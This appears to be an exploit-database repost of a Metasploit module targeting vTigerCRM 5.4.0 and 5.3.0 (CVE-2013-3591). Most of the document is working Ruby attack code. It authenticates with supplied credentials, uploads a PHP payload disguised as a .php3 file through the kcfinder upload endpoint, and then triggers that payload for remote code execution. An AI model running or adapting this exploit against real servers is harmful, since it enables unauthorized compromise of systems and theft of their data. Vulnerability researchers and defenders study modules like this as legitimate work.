vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution Exploit

:
06.11.2013
:
vTigerCRM v5.4.0/v5.3.0

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
'Description' => %q{
vTiger CRM allows an authenticated user to upload files to embed within documents.
Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
script and execute aribtrary PHP code remotely.

This module was tested against vTiger CRM v5.4.0 and v5.3.0.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3591'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
], self.class)
end

def check
res = nil
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
rescue
print_error("Unable to access the index.php file")
return CheckCode::Unknown
end

if res and res.code != 200
print_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
print_status("vTiger CRM version: " + $1)
case $1
when '5.4.0', '5.3.0'
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end

return CheckCode::Unknown
end

def exploit

init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})

sess = init.get_cookies

post = {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD']
}

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'vars_post' => post,
'cookie' => sess
})

fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
cookies = login.get_cookies

php = %Q|<?php #{payload.encoded} ?>|
data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
data.add_part('files', nil, nil, 'form-data; name="dir"')

data_post = data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => cookies
})
if res and res.code == 200
print_status("Triggering payload...")
send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
end
end
end

CAPTCHA